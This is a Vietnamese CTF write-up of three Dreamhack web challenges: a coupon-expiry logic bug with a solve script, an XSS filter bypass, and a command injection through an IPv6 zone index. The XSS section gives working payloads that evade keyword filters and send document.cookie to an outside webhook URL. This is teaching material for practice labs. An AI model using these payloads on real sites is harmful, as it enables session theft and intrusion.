# Dreamhack Writeup Level-3 ## I. Chocoshop * Bài này cho ta một trang gồm hai route `Shop` và `Mypage`. Ở shop ta có thể mua flag với giá `2000` và `Mypage` dùng để nhập Coupon khi nhập ta sẽ được `1000`. Nhưng như thế thì vẫn chưa đủ để mua được flag, ```py from flask import Flask, request, jsonify, current_app, send_from_directory import jwt import redis from datetime import timedelta from time import time from werkzeug.exceptions import default_exceptions, BadRequest, Unauthorized from functools import wraps from json import dumps, loads from uuid import uuid4 r = redis.Redis() app = Flask(__name__) # SECRET CONSTANTS # JWT_SECRET = 'JWT_KEY' # FLAG = 'DH{FLAG_EXAMPLE}' from secret import JWT_SECRET, FLAG # PUBLIC CONSTANTS COUPON_EXPIRATION_DELTA = 45 RATE_LIMIT_DELTA = 10 FLAG_PRICE = 2000 PEPERO_PRICE = 1500 def handle_errors(error): return jsonify({'status': 'error', 'message': str(error)}), error.code for de in default_exceptions: app.register_error_handler(code_or_exception=de, f=handle_errors) def get_session(): def decorator(function): @wraps(function) def wrapper(*args, **kwargs): uuid = request.headers.get('Authorization', None) if uuid is None: raise BadRequest("Missing Authorization") data = r.get(f'SESSION:{uuid}') if data is None: raise Unauthorized("Unauthorized") kwargs['user'] = loads(data) return function(*args, **kwargs) return wrapper return decorator @app.route('/flag/claim') @get_session() def flag_claim(user): if user['money'] < FLAG_PRICE: raise BadRequest('Not enough money') user['money'] -= FLAG_PRICE return jsonify({'status': 'success', 'message': FLAG}) @app.route('/pepero/claim') @get_session() def pepero_claim(user): if user['money'] < PEPERO_PRICE: raise BadRequest('Not enough money') user['money'] -= PEPERO_PRICE return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'}) @app.route('/coupon/submit') @get_session() def coupon_submit(user): coupon = request.headers.get('coupon', None) if coupon is None: raise BadRequest('Missing Coupon') try: coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256') except: raise BadRequest('Invalid coupon') if coupon['expiration'] < int(time()): raise BadRequest('Coupon expired!') rate_limit_key = f'RATELIMIT:{user["uuid"]}' if r.setnx(rate_limit_key, 1): r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA)) else: raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.") used_coupon = f'COUPON:{coupon["uuid"]}' if r.setnx(used_coupon, 1): # success, we don't need to keep it after expiration time if user['uuid'] != coupon['user']: raise Unauthorized('You cannot submit others\' coupon!') r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time()))) user['money'] += coupon['amount'] r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user)) return jsonify({'status': 'success'}) else: # double claim, fail raise BadRequest('Your coupon is alredy submitted!') @app.route('/coupon/claim') @get_session() def coupon_claim(user): if user['coupon_claimed']: raise BadRequest('You already claimed the coupon!') coupon_uuid = uuid4().hex data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA} uuid = user['uuid'] user['coupon_claimed'] = True coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8') r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user)) return jsonify({'coupon': coupon}) @app.route('/session') def make_session(): uuid = uuid4().hex r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps( {'uuid': uuid, 'coupon_claimed': False, 'money': 0})) return jsonify({'session': uuid}) @app.route('/me') @get_session() def me(user): return jsonify(user) @app.route('/') def index(): return current_app.send_static_file('index.html') @app.route('/images/<path:path>') def images(path): return send_from_directory('images', path) ``` * Đây là source dùng để taọ Coupon cho ta với định dạng là `JWT` ![image](https://hackmd.io/_uploads/rkDFHd9xJx.png) * Khi decode ra ta thấy được ở Section `Data` gồm 4 object là `uuid`, `user`, `amount` và `expiration`. `Expiration` dùng để thông báo thời hạn tồn tại dành cho coupon và mỗi user chỉ được nhập duy nhất 1 coupon và duy nhất 1 lần ở một thời điểm ![image](https://hackmd.io/_uploads/H1GPU_9eyx.png) * Như ta thấy đây sẽ là route để submit được coupon. Ban đầu bao gồm server sẽ get coupon, nếu rỗng thì in ra `Missinng Coupon` tiếp tục là tạo try để bắt exception để check xem coupon có đủ định dạng của 1 `JWT` không. ![image](https://hackmd.io/_uploads/SkT3IOce1e.png) * Đây sẽ là đoạn để check `expiration` của phần coupon. Cụ thể nếu `expiration` của coupon nhỏ hơn `time()` sẽ in ra `Coupon expired!`. Time sẽ là phần thời gian thực của máy kể từ ngày 1/1/1970. ![image](https://hackmd.io/_uploads/r1vV5O5eJl.png) * Và nhìn ở dưới cũng sẽ có đoạn để check được coupon đã được sử dụng hay chưa. * Vậy cách để giải quyết chall này thế nào? Như ta thấy phần điều kiện check `expiration` là `if coupon['expiration'] < int(time())` nếu `coupon['expiration']` bằng `int(time())`, tức là coupon đang ở thời điểm chính xác vừa hết hạn, thì điều kiện so sánh `coupon['expiration']` < `int(time())` sẽ không được check. Trong trường hợp này, đoạn code sẽ không raise ra `BadRequest('Coupon expired!')`, vì `coupon['expiration']` không nhỏ hơn int(time()), mà chính xác là bằng vậy là ta đã có thể bypass được đoạn mã check `expire` * Nhưng vẫn còn đoạn mã check submitted thì sao? Vì điều kiện kiểm tra thời gian hết hạn chỉ là `<`, nên có thể gửi coupon ngay khi hết hạn `(=)` mà không bị lỗi. Mặc dù đã có kiểm tra cho việc coupon đã sử dụng hay chưa thông qua `setnx`, nhưng vì có thể tận dụng được độ trễ thời gian trong quy trình gửi coupon, nênvẫn có thể bypass để sử dụng lại tiền từ coupon lần thứ hai. ```py import requests import json import time url = "http://host3.dreamhack.games:11212/" def sessionAcquire(): sessionRequest = requests.get(url + "/session") session = json.loads(sessionRequest.text)["session"] headers = {"Authorization": session} requests.get(url + "/me", headers=headers) print(session) return session def couponSubmit(session, sleepTime): headers = {"Authorization": session} couponClaimRequest = requests.get(url + "/coupon/claim", headers=headers) headers["coupon"] = json.loads(couponClaimRequest.text)["coupon"] print(requests.get(url+"/coupon/submit", headers=headers).text) time.sleep(sleepTime) # Đặt lại yêu cầu "me" sau khi gửi coupon lần đầu meRequest = requests.get(url + "/me", headers=headers) print(json.loads(meRequest.text)["money"]) print(requests.get(url+"/coupon/submit", headers=headers).text) meRequest = requests.get(url+"/me", headers=headers) # Gọi lại yêu cầu "me" sau khi gửi coupon lần 2 print(json.loads(meRequest.text)["money"]) return print(requests.get(url+"/flag/claim", headers=headers).text) if __name__ == "__main__": session = sessionAcquire() couponSubmit(session, 45) ``` * Đây là solvescript, ban đầu sẽ tạo session từ server trước vì đoạn code của chall có check session, sau đó mới claim coupon và submit và dùng `timesleep` để chờ 45s cho đến khi có thể submit lần 2 và cuối cùng là get flag. ![image](https://hackmd.io/_uploads/B1vxVEsxJe.png) > DH{781b791fa0ef98ff734bf37ec95bf5c27fd95710e6745274f045b376b590fb42} ## II. XSS Filtering Bypass Advanced * Bài này giống với bài `XSS Filtering Bypass` ở level_1 nhưng cách exploit sẽ khác đôi chút và có nhiều hàm để filtering hacker hơn. ```py #!/usr/bin/python3 from flask import Flask, request, render_template from selenium import webdriver from selenium.webdriver.chrome.service import Service import urllib import os app = Flask(__name__) app.secret_key = os.urandom(32) try: FLAG = open("./flag.txt", "r").read() except: FLAG = "[**FLAG**]" def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) driver = webdriver.Chrome(service=service, options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get("http://127.0.0.1:8000/") driver.add_cookie(cookie) driver.get(url) except Exception as e: driver.quit() # return str(e) return False driver.quit() return True def check_xss(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" return read_url(url, cookie) def xss_filter(text): _filter = ["script", "on", "javascript"] for f in _filter: if f in text.lower(): return "filtered!!!" advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"] for f in advanced_filter: if f in text.lower(): return "filtered!!!" return text @app.route("/") def index(): return render_template("index.html") @app.route("/vuln") def vuln(): param = request.args.get("param", "") param = xss_filter(param) return param @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' memo_text = "" @app.route("/memo") def memo(): global memo_text text = request.args.get("memo", "") memo_text += text + "\n" return render_template("memo.html", memo=memo_text) app.run(host="0.0.0.0", port=8000) ``` * Đại khái code chính chỉ có nhiêu đây. Sẽ có hàm để filtering ```py def xss_filter(text): _filter = ["script", "on", "javascript"] for f in _filter: if f in text.lower(): return "filtered!!!" advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"] for f in advanced_filter: if f in text.lower(): return "filtered!!!" return text ``` * Khác với bài ở level_1 bài này filtered gần như hầu hết các thẻ cũng như lệnh để ta có thể inject được `XSS` thậm chí cả dấu `()` cũng bị filtered-_-. Loay hoay một lúc thì mình cũng tìm được cách để exploit. Đại khái hàm đã loại bỏ hầu như các loại thẻ để inject như `script`, `javascript` và thậm chí không filtered `image` nhưng mình cũng k thể inject được. Tìm các Cheatsheet thì mình thấy được thẻ `iframe` ![image](https://hackmd.io/_uploads/B1_5vPjekl.png) * Lấy payload và sửa lại một chút thì ta được payload `<iframe src="javascr%09ipt:alert`1`"></iframe>`. `%09` ở đây là dấu `tab`, như ta biết ở url, khi ta gõ tab thì browser sẽ tự động loại bỏ kí tự này, nhưng trước khi loại bỏ thì url sẽ được đưa vào hàm check để filter, nhưng do câu `javascript` ta đã chèn `%09` thành `javascr%09ipt` nên khi check sẽ không bị filtered, sau đó câu lệnh mới được browser loại bỏ `%09`. Như vậy xem như ta đã bypass được hàm `xss_filtered` ![image](https://hackmd.io/_uploads/rk-D_vjeJl.png) * Đã inject thành công tiếp đến là gửi report để admin có thể vào ```py <iframe src="javascr%09ipt:docu%09ment.locatio%09n.href='/memo?memo='${docum%09ent.cookie"></iframe> ``` * Tương tự như trên cách bypass cũng sẽ là thêm `%09` vào giữa các kí tự bị filtered. Do sử dụng memo của chall khác bất tiện nên mình sẽ dùng webhook để bắt request của admin ```py <iframe src="javascr%09ipt:docu%09ment.locatio%09n.href='https://webhook.site/4af9cca4-d9ea-4d00-add1-0f5400953efe'+docum%09ent.cookie"></iframe> ``` ![image](https://hackmd.io/_uploads/H1AY9wsgyx.png) * Tuy câu lệnh này đã inject vào tạo được frame nhưng bên webhook vẫn không thể bắt được request. Loay hoay một lúc thì mình biết được là vì lý do nào đó mà server không nhận dấu `+` để nối chuỗi giữa webhook với `document.cookie`. Research một lúc thì mình tìm được một cách nối khác đó là dùng `template literals (chuỗi mẫu)` với dấu `${}` khi đó payload của ta sẽ là ```python <iframe src="javascr%09ipt:docum%09ent.locatio%09n.href=`https://webhook.site/4af9cca4-d9ea-4d00-add1-0f5400953efe${docume%09nt.cookie}`"></iframe> ``` ![image](https://hackmd.io/_uploads/S1BUpPoeyg.png) * Ta đã bắt được request ở route vuln. giờ ta sẽ gửi cho admin, nhưng cần lưu ý rằng ![image](https://hackmd.io/_uploads/B1LFavsxJg.png) * Ở route này khi ta submit và gửi url đi thì lúc đó trang sẽ `URL Encode` thêm một lần nữa tức là `Double URL Encode` khi đó payload của ta sẽ không hoạt động do đó trước khi gửi mình phải decode payload ta lại một lân, mình sẽ sử dụng `Burpsuite` để decode hoặc đơn giản hơn là thay `%09` thành dấu `tab` ```py <iframe src="javascr ipt:docum ent.locatio n.href=`https://webhook.site/4af9cca4-d9ea-4d00-add1-0f5400953efe${docume nt.cookie}`"></iframe> ``` ![Screenshot 2024-10-26 163935](https://hackmd.io/_uploads/BkYcJ_jekg.png) ## III. EZ Command Injection * Bài này nâng cao hơn chút so với bài command injection ở level 1 ```py #!/usr/bin/env python3 import subprocess import ipaddress from flask import Flask, request, render_template app = Flask(__name__) @app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/ping', methods=['GET']) def ping(): host = request.args.get('host', '') try: addr = ipaddress.ip_address(host) except ValueError: error_msg = 'Invalid IP address' print(error_msg) return render_template('index.html', result=error_msg) cmd = f'ping -c 3 {addr}' try: output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=8) return render_template('index.html', result=output.decode('utf-8')) except subprocess.TimeoutExpired: error_msg = 'Timeout!!!!' print(error_msg) return render_template('index.html', result=error_msg) except subprocess.CalledProcessError: error_msg = 'An error occurred while executing the command' print(error_msg) return render_template('index.html', result=error_msg) if __name__ == '__main__': app.run(host='0.0.0.0', port=8000) ``` * Code cơ bản cũng đơn giản dùng để ping đến địa chỉ ip được gán trong host, nhưng khác ở bài trước thì lần này ta chỉ được nhập param ở `URL` và server dùng hàm `ip_address()` để nhận host của ta và gán vào biến `addr` cuối cùng đưa vào ` cmd = f'ping -c 3 {addr}'`. * Vấn đề khác ở đây so với bài trước là đoạn dùng hàm `ip_address()`. Hàm ip_address() trong Python (thuộc module ipaddress) được dùng để kiểm tra và phân tích địa chỉ `IP`, hỗ trợ cả `IPv4` và `IPv6`. Khi ta truyền một chuỗi `IP` vào, hàm sẽ trả về đối tượng `IPv4Address` hoặc `IPv6Address`, cho phép thực hiện các phép so sánh, kiểm tra và xác định thuộc tính của địa chỉ `IP`. Hàm `ipaddress.ip_address()` cũng có một số filter để lọc tương tự như một filter chống lại `command injection` * Để test các chứng năng ping và cũng như flow của hàm ip_address(), mình đã code lại phần ping của server như sau: ```py import ipaddress import subprocess host = input() addr = ipaddress.ip_address(host) cmd = f'ping -c 3 {addr}' output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=8) print(output.decode('utf-8')) ``` ![image](https://hackmd.io/_uploads/Sk4vlzpxkx.png) * Khi ta nhập `Ipv4` thì ping thành công nhưng khi inject bằng tất cả các cách thì đều sẽ bị `ip_address()` filtered ![image](https://hackmd.io/_uploads/SyJWbGTxJl.png) * Nếu ta thử nhập một localhost `Ipv6` là `::1` thì cũng sẽ bị filterd. Research một lúc thì mình tìm được bài blog này nói về hàm `ip_address()` và cách hoạt động của nó cũng như một vài `Ipv6` hữu dụng [IP_ADRESS()](https://docs.python.org/3/library/ipaddress.html#ipaddress.IPv6Network) * Thử lần lượt các `Ipv6` thì cuối cùng mình tìm được `fe80::1234%2` để inject thành công ![image](https://hackmd.io/_uploads/B1YaWM6l1l.png) * Địa chỉ IP fe80::1234%2 là một địa chỉ IPv6 thuộc loại địa chỉ link-local. * `fe80::1234`: Đây là phần địa chỉ IPv6. * `fe80::` là tiền tố cho địa chỉ `link-local`, luôn bắt đầu từ `fe80::/10`. Các địa chỉ này chỉ có hiệu lực trong một mạng cục bộ (local network) và không được định tuyến qua internet. * `::` là cách viết rút gọn của các số 0 trong IPv6, ở đây có nghĩa là fe80:0000:0000:0000:0000:0000:0000:1234. * `1234` là phần định danh dành riêng cho thiết bị. * ``%2`: Đây là zone index hay interface identifier. * Ký hiệu `%2` được sử dụng để chỉ định giao diện mạng cụ thể mà địa chỉ này liên kết. Trong máy tính, khi có nhiều giao diện mạng, nó giúp xác định rõ ràng giao diện nào sẽ sử dụng địa chỉ `link-local` này. Số 2 có thể đại diện cho một giao diện mạng cụ thể (chẳng hạn như eth1 hoặc wlan0 trên hệ thống Linux) và có thể khác nhau tuỳ vào cấu hình của thiết bị. ![image](https://hackmd.io/_uploads/HkqpGMTg1x.png) * Exploit bằng payload ta thấy được `flag.txt` ![image](https://hackmd.io/_uploads/SkY0fM6gJe.png) > DH{EZZZZZ_COMm4Nd_1nJecTiON_ZzZZ} ## IV.